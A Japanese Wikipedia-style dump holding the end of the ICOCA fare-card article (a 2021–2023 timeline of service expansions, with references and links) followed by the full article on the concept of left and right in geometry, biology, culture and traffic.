***予讃線 多度津駅 - [[観音寺駅 (香川県)|観音寺駅]]間のうち詫間駅、観音寺駅・[[土讃線]] 多度津駅 - [[琴平駅]]間([[金蔵寺駅]]を除く)・[[高徳線]] 高松駅 - [[屋島駅]]間([[昭和町駅 (香川県)|昭和町駅]]・[[木太町駅]]を除く)で利用開始<ref name="release20200127">{{Cite press release|和書|title=JR四国の観光地アクセス駅におけるICOCAサービス、2020年3月14日にサービスイン!|publisher=四国旅客鉄道/西日本旅客鉄道|date=2020-01-27|url=http://www.jr-shikoku.co.jp/03_news/press/2020%2001%2027%2004.pdf|format=PDF|language=日本語|accessdate=2020-01-28|archiveurl=https://web.archive.org/web/20200128080358/http://www.jr-shikoku.co.jp/03_news/press/2020%2001%2027%2004.pdf|archivedate=2020-01-28}}</ref>。
* [[2021年]](令和3年)
** 3月13日:
***「車載型IC改札機」を導入することにより、[[七尾線]]全線(七尾駅 - 和倉温泉駅間は特急列車のみ利用可能。のと鉄道の普通列車は利用不可 )・紀勢本線(きのくに線)紀伊田辺駅 - 新宮駅間(導入済みの白浜駅・周参見駅・串本駅・古座駅・太地駅、紀伊勝浦駅・新宮駅を除く)・関西本線 [[加茂駅 (京都府)|加茂駅]] - [[亀山駅 (三重県)|亀山駅]]間に利用エリアを拡大<ref name="release20210119kansai" /><ref name="release20201218wakayama">{{Cite press release|和書|title=2021年春ダイヤ改正について|publisher=西日本旅客鉄道和歌山支社|date=2020-12-18|url=https://www.westjr.co.jp/press/article/items/201218_00_wakayama.pdf|format=PDF|accessdate=2020-12-31|archiveurl=https://web.archive.org/web/20201222132853/https://www.westjr.co.jp/press/article/items/201218_00_wakayama.pdf|archivedate=2020-12-22}}</ref><ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/2019/09/page_14890.html|title=七尾線への新しい車両の導入とICOCAサービスの開始について|publisher=西日本旅客鉄道|date=2019-09-10|accessdate=2019-09-11}}</ref><ref name="release20201218nanao" /><ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/200827_00_kinokunisen.pdf|archiveurl=https://web.archive.org/web/20201125232439/https://www.westjr.co.jp/press/article/items/200827_00_kinokunisen.pdf|format=PDF|language=日本語|title=2021年春 きのくに線(紀伊田辺駅〜新宮駅間)への新型車両導入 和歌山県全域へのICOCAエリア拡大|publisher=西日本旅客鉄道|date=2020-08-27|accessdate=2021-01-23|archivedate=2020-11-25}}</ref>。[[西日本旅客鉄道阪奈支社|大阪支社]]・[[西日本旅客鉄道和歌山支社|和歌山支社]]管内の全駅に導入が完了。
***[[福知山線]] [[篠山口駅]] - [[福知山駅]]間・[[山陰本線]] 園部駅 - [[胡麻駅]]間・[[伯備線]] [[備中高梁駅]] - 新見駅間に利用エリアを拡大<ref name="release20190709">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/2019/07/page_14474.html|title=北近畿エリアで「ICOCA」がご利用できるようになります!|publisher=西日本旅客鉄道|date=2019-07-09|accessdate=2019-07-09}}</ref><ref name="release20201218fukuchiyama">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/201218_00_fukuchiyama.pdf|archiveurl=https://web.archive.org/web/20201218075722/https://www.westjr.co.jp/press/article/items/201218_00_fukuchiyama.pdf|format=PDF|language=日本語|title=2021年春ダイヤ改正について|publisher=西日本旅客鉄道福知山支社|date=2020-12-18|accessdate=2020-12-19|archivedate=2020-12-18}}</ref><ref name="release20201223hakubi">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/201223_00_ICOCA.pdf|archiveurl=https://web.archive.org/web/20201223064409/https://www.westjr.co.jp/press/article/items/201223_00_ICOCA.pdf|format=PDF|language=日本語|title=伯備線 木野山〜石蟹駅間で 2021年3月13日(土)から新たにICOCAがご利用可能に!|publisher=西日本旅客鉄道|date=2020-12-23|accessdate=2020-01-23|archivedate=2020-12-23}}</ref>。
***山陰本線 [[胡麻駅]] - [[城崎温泉駅]]間の特急停車駅([[綾部駅]]・福知山駅・[[和田山駅]]・[[八鹿駅]]・[[江原駅]]・[[豊岡駅 (兵庫県)|豊岡駅]]・城崎温泉駅)・[[舞鶴線]] 綾部駅・[[西舞鶴駅]]・[[東舞鶴駅]]、[[播但線]] 寺前駅 - 和田山駅間のうち[[生野駅 (兵庫県)|生野駅]]・[[竹田駅 (兵庫県)|竹田駅]]・和田山駅で利用開始<ref name="release20201218fukuchiyama" />。
***JR東海のTOICAエリアが米原駅まで拡大しICOCAエリアと接続するのを機に、ICOCAエリアとTOICAエリアをまたがった(米原駅と亀山駅)在来線IC定期券の発売を開始(ただし、エリアをまたがったSF残高での利用は引き続き不可とする)。同時に、[[東海道・山陽新幹線]] [[東京駅]] - [[新岩国駅]]間の[[定期乗車券#新幹線定期乗車券|新幹線定期券「FREX」「FREXパル」]]をSuica・TOICA・ICOCAで販売すると共に、TOICAエリアでのみで行っている[[TOICA#定期券による新幹線の利用|在来線IC定期券による「新幹線乗車サービス」]]を東京駅 - 新岩国駅間まで拡充<ref name="press/20210119">{{Cite press release|和書|url=https://www.jreast.co.jp/press/2020/20210119_ho03.pdf|archiveurl=https://web.archive.org/web/20210119050250/https://www.jreast.co.jp/press/2020/20210119_ho03.pdf|format=PDF|language=日本語|title= 在来線および新幹線におけるIC定期券のサービス向上について 〜2021年3月13日(土)からサービスを開始します!〜|publisher=東日本旅客鉄道/東海旅客鉄道/西日本旅客鉄道|date=2021-01-19|accessdate=2021-01-23|archivedate=2021-01-19}}</ref><ref name="press/20190920_ho01">{{Cite press release|和書|url=https://www.jreast.co.jp/press/2019/20190920_ho01.pdf|format=PDF|language=日本語|title= 在来線および新幹線におけるIC定期券のサービス向上について|publisher=東日本旅客鉄道/東海旅客鉄道/西日本旅客鉄道|date=2019-09-20|accessdate=2021-01-23|archiveurl=https://web.archive.org/web/20190921130006/https://www.jreast.co.jp/press/2019/20190920_ho01.pdf|archivedate=2019-09-21}}</ref>。
** [[3月20日]]:[[中国ジェイアールバス]]の山口県内の一般路線でICOCAを導入<ref name="pr20201029">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/201029_00_ICOCAdounyuu.pdf|archiveurl=https://web.archive.org/web/20201127033215/https://www.westjr.co.jp/press/article/items/201029_00_ICOCAdounyuu.pdf|format=PDF|language=日本語|title=~2021年3月 山口県内のバスがICカード利用可能に~ 山口県内のバスへ交通系ICカード ICOCA導入|publisher=中国ジェイアールバス/西日本旅客鉄道|date=2020-10-29|archivedate=2020-11-27|accessdate=2021-01-23}}</ref><ref name="pr20210303">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/210303_00_bus.pdf|archiveurl=https://web.archive.org/web/20210303053726/https://www.westjr.co.jp/press/article/items/210303_00_bus.pdf|format=PDF|language=日本語|title=~2021年3月20日 山口県内のバスがICカード利用可能に~山口県内のバスへ交通系ICカードICOCA導入のお知らせ|publisher=中国ジェイアールバス/西日本旅客鉄道|date=2021-03-03|archivedate=2021-03-03|accessdate=2021-03-05}}</ref>
** [[3月27日]]:[[近江鉄道]]バスと[[湖国バス]]においてICOCAおよび連絡定期券の販売を開始<ref name="pr20201015">{{Cite press release|和書|url=http://www.ohmitetudo.co.jp/file/bus_newsrelese_20201015.pdf|archiveurl=https://web.archive.org/web/20201015081247/http://www.ohmitetudo.co.jp/file/bus_newsrelese_20201015.pdf|format=PDF|language=日本語|title=近江鉄道バス・湖国バス 交通系ICカード全国相互利用サービスを開始 〜2021年春からサービス開始〜|publisher=近江鉄道/湖国バス/西日本旅客鉄道|date=2020-10-15|accessdate=2020-10-16|archivedate=2020-10-15}}</ref>。
** [[5月29日]]:一畑バス・松江市交通局においてICOCAを導入<ref>{{Cite press release|和書|title=一畑バス・松江市交通局全線において、いよいよ交通系ICカード「ICOCA」利用開始!|publisher=一畑バス/松江市交通局/松江市/西日本旅客鉄道|date=2021-5-22|url=https://www.westjr.co.jp/press/article/items/210521_00_matsueicoca.pdf|format=PDF|language=日本語|accessdate=2021-5-25|archiveurl=https://web.archive.org/web/20210522042111/https://www.westjr.co.jp/press/article/items/210521_00_matsueicoca.pdf|archivedate=2021-5-22}}</ref>。
** [[8月21日]]:四日市あすなろう鉄道においてICOCAを導入<ref name="press20210803"/>。
** [[10月10日]]:[[富山地方鉄道富山軌道線]]と[[富山地方鉄道富山港線|富山港線]]で利用開始{{R|press20210910}}。
* [[2022年]](令和4年)
** [[3月12日]]:山陽本線 [[南岩国駅]] - [[徳山駅]]間に利用エリアを拡大<ref>{{Cite press release|和書|title=2022年春 山口県内のICOCAエリアが拡大します! ~南岩国駅から徳山駅間にICOCAエリアを拡大~|publisher=西日本旅客鉄道|date=2019-11-01|url=https://www.westjr.co.jp/press/article/2019/11/page_15212.html|accessdate=2019-11-01}}</ref><ref name=":4">{{Cite press release|和書|title=山陽線南岩国駅から徳山駅間のICOCAサービス開始日について|publisher=西日本旅客鉄道|date=2021-12-17|url=https://www.westjr.co.jp/press/article/items/211217_10_sanyou.pdf|format=PDF|accessdate=2021-12-17}}</ref>。同時に在来線IC定期券による「新幹線乗車サービス」を新岩国駅 - 徳山駅間にも拡大し、東京駅 - 徳山駅間で利用可能となる<ref name=":4" />。
**[[3月15日]]:[[宇部市交通局|宇部市交通局(宇部市営バス)]]が運行する路線バス全線でICOCAを導入<ref name=":2">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/220125_01_ubeshi.pdf|title=宇部市交通局 交通系ICカード「ICOCA」導入 |publisher=西日本旅客鉄道・宇部市交通局|date=2022-01-25|accessdate=2022-01-25}}</ref>。
**4月1日:[[おのみちバス]]が運行する路線バス全線でICOCAを導入<ref name=":3" />。
* [[2023年]](令和5年)
** 3月22日:[[スマートフォン]][[アプリ]]によるサービス「[[モバイルICOCA]]」を導入<ref name="pr20201016" /><ref name="pr20230322" />。
** 4月1日:山陽本線の徳山駅-下関駅、山口線の湯田温泉駅・山口駅に利用エリアを拡大<ref>{{Cite press release|和書|url= https://www.westjr.co.jp/press/article/items/221221_00_press_icocakakudai.pdf |format=PDF|title= 在来線(山口エリア)および山陽新幹線でのICカードサービス拡大 ~2023年4月1日(土)スタート!~ |publisher=西日本旅客鉄道|date=2022-12-21|accessdate=2022-12-22}}</ref>。同時に在来線IC定期券による「新幹線乗車サービス」を徳山駅 - 博多駅間にも拡大し、東海道新幹線・山陽新幹線の全区間(東京駅 - 博多駅間)で利用可能となる。ICOCAエリアとSUGOCAエリアを跨った定期券の発売を開始<ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/220728_00_press_teikikenn_2.pdf|format=PDF|title=在来線および新幹線におけるIC定期券のサービス向上について|publisher=西日本旅客鉄道|date=2022-07-28|accessdate=2022-07-31}}</ref>。
** 6月27日:「Apple PayのICOCA」サービス開始<ref name="pr20230627"/>。
** [[9月13日]]:JR西日本宮島フェリー・宮島松大汽船の宮島口桟橋に宮島訪問税(同年10月1日徴収開始)に対応したICOCAシステムの自動改札機を導入<ref name="miyajimaferry1"/>。PASPYの取扱は両社とも有人改札のカードリーダー対応となる<ref name="miyajimaferry2"/>。有人改札のカードリーダーはICOCA用とPASPY用で別に設置している。JR西日本宮島フェリーは、宮島口桟橋での改札業務を開始。
== 脚注 ==
{{脚注ヘルプ}}
=== 注記 ===
{{Notelist}}
=== 出典 ===
{{Reflist|2}}
== 関連項目 ==
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{{ICカード乗車券|co=[[西日本旅客鉄道]]|cat=}}
* [[ICOCA電子マネー]]([[2005年]]サービス開始)
* [[SMART ICOCA]]([[2006年]]サービス開始)
* [[モバイルICOCA]]([[2023年]]サービス開始)
* [[J-WESTカード]]
* [[WESTER]](ウェスター)
* [[e5489]]
* [[カモノハシのイコちゃん]]([[マスコットキャラクター]])
* [[仲間由紀恵]](イメージキャラクターを務めた)
<!-- 特筆性自体微妙。* [[おでかけ、いこか]](2013年3月14日 - 17日に[[MBSテレビ|毎日放送]]で放送された「ICOCA」の宣伝ミニ番組) -->
* [[オレンジカード]]
* [[Jスルーカード]]
* [[スルッとKANSAI]]
* [[PiTaPa]]
* [[Suica]]
* [[PASMO]]
== 外部リンク ==
*各社ICOCAページ
** [https://www.jr-odekake.net/icoca/ JR西日本]
** [https://www.keihan.co.jp/traffic/ticket/icoca.html 京阪電車]
**[https://www.kintetsu.co.jp/gyoumu/ic/ 近鉄]
**[https://www.nankai.co.jp/traffic/teiki/ic_icoca.html 南海電鉄]
**[https://www.semboku.jp/ticket/icoca/ 泉北高速鉄道]
**[https://www.sanyo-railway.co.jp/railway/icoca/index.html 山陽電車]
**[https://www.shintetsu.co.jp/railway/fare/info/img/icoca/info.pdf 神戸電鉄]
**[https://www.osaka-monorail.co.jp/ticket/ic/ 大阪モノレール]
**[https://www.knt-liner.co.jp/ticket/icoca/ 神戸新交通]
**[https://www.city.kyoto.lg.jp/kotsu/page/0000214550.html 京都市交通局]
**[https://subway.osakametro.co.jp/guide/fare/icoca/ICOCA.php Osaka Metro]
**[https://www.city.kobe.lg.jp/a90404/kurashi/access/kotsukyoku/fare_info/pitapa/index.html 神戸市交通局]
** [https://www.jr-shikoku.co.jp/icoca/ JR四国]
**[https://ainokaze.co.jp/ticket/ic あいの風とやま鉄道]
**[http://www.ishikawa-railway.jp/ticket/ticket_icoca.html IRいしかわ鉄道]
**[https://www.hankyu.co.jp/sp/ticket/stacia-pitapa/icoca.html 阪急電鉄]
**[https://rail.hanshin.co.jp/ticket/icoca/ 阪神電車]
**[https://www.chugoku-jrbus.co.jp/route_bus/guide/ 中国ジェイアールバス]
**[https://www.ohmitetudo.co.jp/bus/icoca/ 近江バス・湖国バス]
**[https://matsue-bus.jp/iccard 松江市交通局]
**[https://www.ichibata.co.jp/bus/rosen/icoca.html 一畑バス]
**[https://yar.co.jp/info/detail.php?id=276 四日市あすなろう鉄道]
**[https://ubebus.jp/pages/77/ 宇部市交通局]
**[https://onomichibus.jp/route-bus/iccard/ おのみちバス]
**[https://www.bochobus.co.jp/publics/index/213/ 防長交通]
**[https://www.city.tottori.lg.jp/www/contents/1676959519118/index.html 鳥取市100円循環バス「くる梨」(日本交通(鳥取県)・日ノ丸自動車)]
* [https://www.jr-odekake.net/j-west/ J-WESTカード]
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| https://ja.wikipedia.org/wiki/ICOCA |
6,853 | 左右 | 左右(さゆう、ひだりみぎ)とは、六方位の名称の一つで、横・幅を指す方位の総称。絶対的な方向ではなく、おのおのの観測者にとって、上(同時に下)と前(同時に後)の方向が定まった時に初めて、その観測者にとっての左と右の方向が決まる。前後、上下とは直角に交差し、左と右は互いに正反対である。
たとえば、アナログ時計の文字盤に向かって、(中心を基準とし)7~11 がある方向を左(ひだり)、1~5 がある方向を右(みぎ)という。あるいは南を下、北を上とした時、東の方向が右、西の方向が左となる。
左右の概念は、鏡像関係にある二つの存在を区別するためにも援用される。
どちらが右で他方が左となるかは、人間の取り決めによってのみ区別できる。外見的には人体はほぼ左右相称だが、実際には肝臓の位置や利き手などの非相称性があり、社会として、つまり多数派・少数派の違いとしてそれが確定できるため、左右の区別は一般的通念として世界で広く使われるが、それすら往々にして混乱を生じる(「どっちだっけ?」「お箸を持つ方だよ」というよくあるやり取りがそれを示している)。
人間にとって、上下は重力の方向を、前後は自己の進行方向を示すというようにはっきりと異なる意味を持つのに対して、左右にはそのような判然とした価値の差が存在しないために、混乱が生じやすい。左右という概念・単語を持たない民族・言語もある。
左右は幾何学からは定義できない。互いに直角に交わる3つの軸は、任意に前後の軸、上下の軸、左右の軸と定められる。前(または後)および上(または下)が定まったときに残る方が左右の軸であるが、どちらが右でどちらが左であるかは、右と左をそれぞれ図で示したり、何か実物の例を使うことでしか説明できない。
なお、これは幾何学において左右が特別な訳ではない。たとえば直交する3つの軸に、左右、上下をこの順に定めても、どちらが前でどちらが後かは、純粋に幾何学的には任意性が残る。
たとえばすべての辺の長さの異なる不等辺三角形は三角形の頂点ABCを右回りに振った場合と左回りに振った場合の二通りが書け、両者は同一平面上ではどのようにしても重ね合わすことができない。しかし、ユークリッド幾何学では三辺の長さが等しい三角形は合同であるとして、幾何学的にはこの二つを区別しない。
このように、平面図形では形としては同じでも、平面上ではどのように移動しても絶対に重ね合わせられない形が存在し、それはいわゆる鏡像である。ただし、我々の空間の中ではこのような図形は持ち上げて裏返せば重ね合わせられるので、これらを合同と見なす。それに対して、空間図形の場合、我々の空間の中ではこれを引っ繰り返すことはできないから、絶対に重ね合わせられず、これらを区別せざるを得ない。それに対する名に右と左を使う場合もある。これについては鏡像の節も参照のこと。
人体がほぼ左右対称なことから、左右の概念は、様々な幾何学的な鏡像関係を区別するために持ち出される。たとえば回転の方向を指す「右回り」や螺旋などの「右巻き」である。これは日常会話だけではなく、数学における右手系や化学におけるキラル、物理学におけるヘリシティなど、科学の様々な分野においてもそうである。
しかし純粋に幾何学的には、左右は本来六方の一つであり、その立場からすると、これらの左右は援用である。たとえば螺旋において、「右巻き」があるからと言って、「上巻き」や「後巻き」といった概念があるかというと、そうではない。従って、鏡像関係にある二つの螺旋のうち、片方が絶対的に「右巻き」という訳ではない。しばしば右ねじと同じ螺旋を「右巻き」と呼ぶが、それは人為的な約束事である。
一方で、巻き貝では、その巻く方向は、身体の左右と密接に結びついている。#軟体動物の場合で後述する。
分野によっては、どちらの螺旋が「右巻き」と呼ぶ慣例であるかが決まっている。
たとえば人間が向き合った状態では、自分の右手側は相手の左手側になるなど、左右は誰から見たかに依る。そこで、ある方向を定め、そちらを向いた時の左右で指定する方法がある。これを向かってという。「~に向かって右側」などと言う。似たものに背にしてという言い方もある。用例は以下の通り。
自然現象においても、しばしば左右対称性、正確には鏡像対称性が見られる。つまり、鏡に映った像と実際の姿を区別することはできない。ところが、いくつかの重要な事例において、左右が対称でない場合、あるいは左右対称であっても同一でないと見なさねばならない場合がある。しかしながら、それにより左右を絶対的に定義できるかと言うと、#左右の定義と宇宙人の節で後述する通り単純ではない。
前述のように、自然現象のほとんどは左右対称に現れる。しかしながら、若干の、しかし重要な左右不相称の現象が存在する。代表的なのは以下のようなものである。
左右の区別を純粋に論理的に区別することの困難さについては、後述の「左右の定義と宇宙人」節も参照。
人間には一般的に日常生活において、左右いずれかの手のほうが器用に動かしやすいことから、これを利き手として用いることが多い。それぞれ右利き・左利きと呼ばれ、世界的にみて右利きの人間が多数だがその理由ははっきりとわかっていない。
足にも手と同様に利き足が存在する。利き手のように目立つことはないが、利き足の方がそうでない足より蹴る力が強い。 そのため、砂漠などの広い土地で目印を定めず直進しようとすると、直進することができず、利き足とは逆回り(右利きの場合左回り)の巨大な円を描いてしまうことがある(リングワンダリング)。運動生理学も参照。
生物の内臓は、左右に非対称性が見られ、例えば人間の場合、通常は自分から見て、肺は左右にあるが右側の方が大きい。また肝臓は右側に大きく偏り、胃は左、盲腸は右、ついでに腸の配置は対称性がない。この状態は「正位」と呼ばれる。しかし、稀には臓器が左右逆の位置にある者もあり、これは「逆位」と呼ばれている。全て逆の人もいれば特定の臓器のみ逆転している人もいる。全臓器反転症も参照。
動物の脳はほぼ左右対称な形状をしており、大脳および小脳は左右の半球に分かれて存在している。大脳は反対側の半身の、小脳は同じ側の半身の運動・感覚を担当しているが、それぞれの半球の役割は同等ではない。その差は特に大脳で著しく、優位半球と呼ばれる側の大脳が論理思考、言語など主要な精神機能を司る。逆の劣位半球と呼ばれる側は空間認識に関わっているなどが明らかになっているが、まだ十分に解明されてはいない。また、両側大脳にあって短期記憶を司る海馬も優位側は言語的記憶、劣位側は非言語的記憶に関わることが知られる。右利きの人間のほとんど(約95%)で優位半球は左、劣位半球は右である。左利きの人間の場合にはあまり一定していないうえ、優位半球と劣位半球の区別が明確になっていないことも多い。
脳の左右に関しては俗説も多く見られる。脳機能局在論#右脳・左脳論を見よ。
生物一般の場合も、左右の対称性と非対称性が入り混じる。
動物の場合、上下は重力から自然に定まり、また前後は、多くはほぼ水平方向であるが、主に進む方向であり、これらの二つはきわめて重要である。左右は、その残りから生ずる。
個体としては外部形態においては左右対称性が見られるものがほとんどである。内部形態では左右対称性と非対称性が混ざる。ヒトの場合の主な非対称は心臓と肝臓の位置、及び消化管の配置である。しかし、これらも本来は左右対称な形である。心臓もその発生からは体の中央にあるべきものである。消化管も口から肛門までの長さであれば真っすぐに配置するはずで、他の動物群においても体長より長い消化管を持つ場合、その配置は非対称である例が多い。
もともと左右対称だったのが、左右どちらかが退化することで左右非対称となる例もある。たとえばオタマジャクシの内鰓の出入り口は左側だけにある。
よりはっきりした非対称が見られるものもある。たとえばヒラメやカレイでは体側面を下にし、反対側に両眼が移動している。他の魚の鱗を食ういわゆるスケールイーターでは獲物をねらう向きによって顔が歪んでいる種がある。カタツムリを専食するイワサキセダカヘビの仲間では、多数派である右巻きのカタツムリ捕食に特殊化して、下顎の歯の本数に著しい左右差が進化している。化石動物のホマロゾアは体が全体に左右非対称となっていた。
植物の場合には、移動方向としての前後が無い為、左右も無い。とはいえ、形態によっては鏡像対称に近くなることもあり、またたとえば葉など、部分的にはほぼ鏡像対称になる事もある。たとえば双子葉植物では、発芽から間もない頃はほぼ鏡像対称である。
藻類や菌類についても似た事が言える。
さらに左右非対称がある例に軟体動物の腹足類がある。この類では、殻が螺旋状に巻いているので、左右が非対称になっている。それだけでなく、その進化の初期に体がねじれたと言われており、内臓や神経系の配置に独特のねじれが見られる。なお、そのねじれが戻ったと見られるものもある。
また、これらの動物では殻の巻き方に左右両側のものがあり、それぞれ群によっておおよそ決まっているほかに、その中でも種によって異なっている。たとえば陸産貝類ではカタツムリは右巻きで、キセルガイは左巻きである。そしてカタツムリ類にも左巻きの種が散見される。
この巻き方の差異は生殖隔離の仕組みとしても働いている。カタツムリ類の生殖器は体の片方によっており、二頭が行き違う形で交尾が行われるが、巻きが逆のものでは生殖器のある側が反対になるため、交尾が成立しない。このことから、巻きが反対になる突然変異が起きれば、それが種分化の機会になる可能性も指摘される。なお、巻き貝全般では同種内で両方の巻き方がある種もある。
道具や機械によっては、急須などのように右利き用に作られているものも多い。これについては利き手を参照されたい。
冷蔵庫では、左右どちらからでも開くドアを有するものが1954年に東芝から発売されている。
陸上のトラック競技は、左回りで行われる。これは利き足が右である人間が多く、その場合右足の方が左足と比べて地面を蹴る力が強いので、左回りの方が速く走れるためである。競馬のレースは、左回りのものと右回りのものの双方がある。競艇では、船舶が右側航行であるのに合わせて、左回りでレースが行われる。
政治的・思想的な立場を表すために右と左の語が用いられる場合がある。右(右翼・右派)は保守的・国粋的な立場を、左(左翼・左派)は急進的・革新的な立場をそれぞれ意味することが一般的である。この由来は、フランス革命時の国民議会で、議長席から見て、右に保守派、左に急進派のジャコバン党が座ったことである。左翼・右翼も参照。
文化によっては、左と右に優劣や貴賎の意味を持たすことがある。
古代インドの礼法では右回りを吉、左回りを不吉とした。インドを発祥とする仏教にも右旋を優位とする礼法が多く見られ、仏教圏の文化に影響を与えている。また、古代中国では北辰信仰が盛んであり、北極星を中心に左旋回する天体の運行を人間の方位観に当てはめ、南面する天子を中心とした秩序を構成した。
一方、老子や道教では「吉事尚左、凶事右」として主に左が貴ばれた。中国では時代によって左右の貴賎が変わり、時代順に周は左を貴び、戦国・秦・漢は右を、六朝・隋・唐・宋は左を、元は右を、明・清は左を貴んだ。これについて、左を賎しめ右を貴んだ時代は荒れ乱れた世が多く、「君子、居れば則ち左を貴び、兵を用うれば則ち右を貴ぶ」という老子の言葉の通りである、とする見方がある。
奈良時代から平安時代にかけての日本は、中国の歴代王朝の中でも特に左を貴んだとされる唐の影響を強く受けていたため、当時の日本では右大臣よりも左大臣が貴い地位であった。
漢の時代の中国では、官吏を賎い地位に下げることを「左遷」と表現していた(『漢書』周昌伝)。現在の日本でも、会社員や公務員の地位を下げたり条件の悪い勤務地へ強制的に転勤させることを「左遷」(させん)と言うが、この言葉は現代中国語の語彙としては消滅している。
日本の国会議事堂は、建物は左右対称だが、建物の正面から見て左側が衆議院、右側が参議院である。
日本では、襖や障子は通常右側が手前になるようにはめ込む。引き戸やアルミサッシなどでも同様である。
劇場の舞台では、演者と観客が対面する形での上演が多く、左右で方向を表すと混乱しやすい。
日本では、観客から舞台に向かって見たときの右側を上手(かみて)、左側を下手(しもて)と呼び、左右の語は使わない。
英語の表現では、この二つを"stage left"(上手)、"stage right"(下手)と呼ぶ。舞台上の演者から観客に向かって見る立場である。実際には、やはり混乱しやすいので、プロンプターが通常上手にいることから、"prompt"(上手)、"opposite prompt"(下手)という語も使われる。
日本の着物は、現代では通常、男性用、女性用ともにその着物を着る者からみて右側の部分が手前となるように着付ける。これを、「右前(みぎまえ)」という。例外的に、死者に着せる和服のみは「左前(ひだりまえ)」に着せる。
これに対して、洋服では、男性用は「右前」、女性用では「左前」のものが一般的である。
日本の和食において、飯茶碗と汁茶碗は、食事をする者から見てそれぞれ左、右に配膳することとされる。また、焼き魚を皿に盛り付ける場合には、食事をする者からみて左側に頭を据えるものとされている。
洋食のテーブルセットは、通常、客からみて右側にナイフ、左側にフォークがセットされている。これはナイフは右手で、フォークが左手で用いるのが一応のマナーとされるからであるが、ナイフを置き、フォークを右手に持ち替えて食べることをアメリカン・スタイルと呼びマナー上も許容されている。
アラブなどイスラム教を信仰する地域や、インドなどヒンドゥー教を信仰する地域ではフォークやスプーンを用いず、直接食べ物を指で口に運ぶことが多いが、左手は不浄の手(用便の際に使用)とされ、食事の際には用いられない。
平城京や平安京では、東側は左京、西側は右京と呼ばれる。これは、北部にある御所において天皇は南むきに玉座に座るために、街の東側は左側に、街の西側は右側にみえることに由来する。現代の地図上の左右、つまり地図の北を上にしたときの左右ではない。現代の京都市の左京区、右京区は、平安京とは地域的にずれるがこれに倣ったものである。
しかしながら、京都の五山送り火には西と東に二つの「大文字」があるが、こちらは西側の大文字が「左大文字」と呼ばれる。
占いや順位においては、左右に優劣をつけることが、様々な文化に見られる。
英語で「凶運な」を意味する“sinister”は、ラテン語の「左」sinistraに由来する。日本語にも、“sinister”の忠実な訳語として「左前」がある。なお、対義語で「右の」は "dexter" である。一方、中国では陰陽五行思想では左が陽とされ、太極拳や気功は左から始まる。
川下に向かって川を見た時、左側の岸を左岸、右側の岸を右岸と呼ぶ。今日ではこの慣例が定着している。
イエメンのアラビア語国名「アル・ヤマン」は「右」を意味する「ヤマン」に定冠詞を冠するものである。メッカのカアバに向かって立つと、顔は東を向き、右手に砂漠とこの地方が広がる。したがってメッカ以南の地は、すべて「右側」と呼ばれた。やがて時代を経て、アル・ヤマンはイエメンだけ指すようになった。
漢字の部首において偏(へん)は左に、旁(つくり)は右に位置する。
日本語の表記方法としては、縦書きと横書きがあるが、縦書きの場合には、右列から左列に、横書きの場合には、左から右へと文字が綴られるのが標準である。戦前までは横書きを右から読むことが多かったが、これは1行1文字の縦書きであるとみることができる。また、縦書きを左から書くこともある。
世界には、横書きでも右から左に書く文字体系も、左から右に書く体系もある。
複式簿記の仕訳の表記においては借方を左側に、貸方を右側に書くように定められている。借方貸方の用語が類似していて混乱しやすく、また歴史的な語義が失われていることから、借方貸方という用語は単に左側右側を意味しているに過ぎない。
国・地域によって異なる。自動車が普及している国では、車両とは逆の通行区分になっている場合が多い(対面交通)。
日本の道路では歩行者は、歩道・路側帯と車道の区別のない道路に於いては、原則車両とは逆の右側通行である。これは道路交通法第10条第1項に定められている。1900年に発令された道路取締規則、1920年に制定された道路取締令では、歩行者も車両と同じく左側通行であった(これは、武士が左側に帯刀していた為、すれ違う時に鞘が触れ合わないよう、左側を歩いていたからとの説がある)。しかし終戦直後、死亡事故が頻発した為、1949年11月1日に「車両は左側通行、歩行者は右側通行」の対面交通が取り入れられた。しかし、鉄道駅の通路は現在も左側通行の所が多い。また、盲導犬は道路の左側を歩くよう訓練されており、道交法でも左側通行が認められている。
日本では、エスカレーターでは左に立ち止まり、歩く者は右側を行くのが慣習となっている。但し、大阪では右に立ち止まり、歩く者は左側を行く。
大阪での慣習の由来については、いくつかの説がある。そのひとつに、1970年代に、阪急電車の梅田駅で、右に立つことが推奨されたため、右側に立つことが定着したというものがある。
しかし、エスカレーターは立ち止まって乗ることを前提に設計されており、鉄道各社は2列に並び立ち止まって乗るよう呼び掛けている。また、埼玉県では、エスカレーターでは歩くことそのものが条例違反(ただし罰則はない)である。
世界には、車両が右側通行の国と左側通行の国がある。日本は左側通行であり、これは道路交通法第17条第4項に定められている。ただし、例外として地形の制約などにより上下線の配列が左右逆になっている箇所(北陸自動車道 敦賀IC~今庄IC間等)も存在する。
日本以外の左側通行の国や地域の多くは、イギリス、アイルランド、オーストラリア、ニュージーランド、タイ王国、マレーシアなど、旧大英帝国・イギリスの旧植民地であるところが大部分である。
左側通行では右ハンドル、右側通行では左ハンドルの車の使用が標準となる。右ハンドル左ハンドルどちらの場合もクラッチ・ブレーキ・アクセルの並びは左からこの順で変わりはない。ヘッドライトのロービームも、左側通行用の車と右側通行用の車で配光が異なる。つまり、ロービームは前面を満遍なく照らすのではなく、対向車を幻惑させないように配光がされている。日本や英国などでは、右ハンドル、左ハンドルどちらの仕様の車両であっても国内の法制に従って車両を登録し、公道上を運行させることができる。
また、ヨーロッパ連合においては左側通行である英国やアイルランドとその他の右側通行国との間、タイとラオスの両国間、また中国の国内において香港やマカオと他地域との間などでは自動車による往来が可能であるため、必然的に右ハンドル仕様車と左ハンドル仕様車が同一の交通の中で混在する。この場合、車両通行の左右が入れ替わる場所では立体交差にするなどして交通の錯綜を防いでいる。
スターボード艇優先の原則により、船舶は万国共通で右側航行が原則となっている(海上における衝突の予防のための国際規則に関する条約)。
日本でも海上衝突予防法で
とされている。
ただし例外もあり、例えば青函連絡船が運行されていた時代の青函航路は左側通行であった。
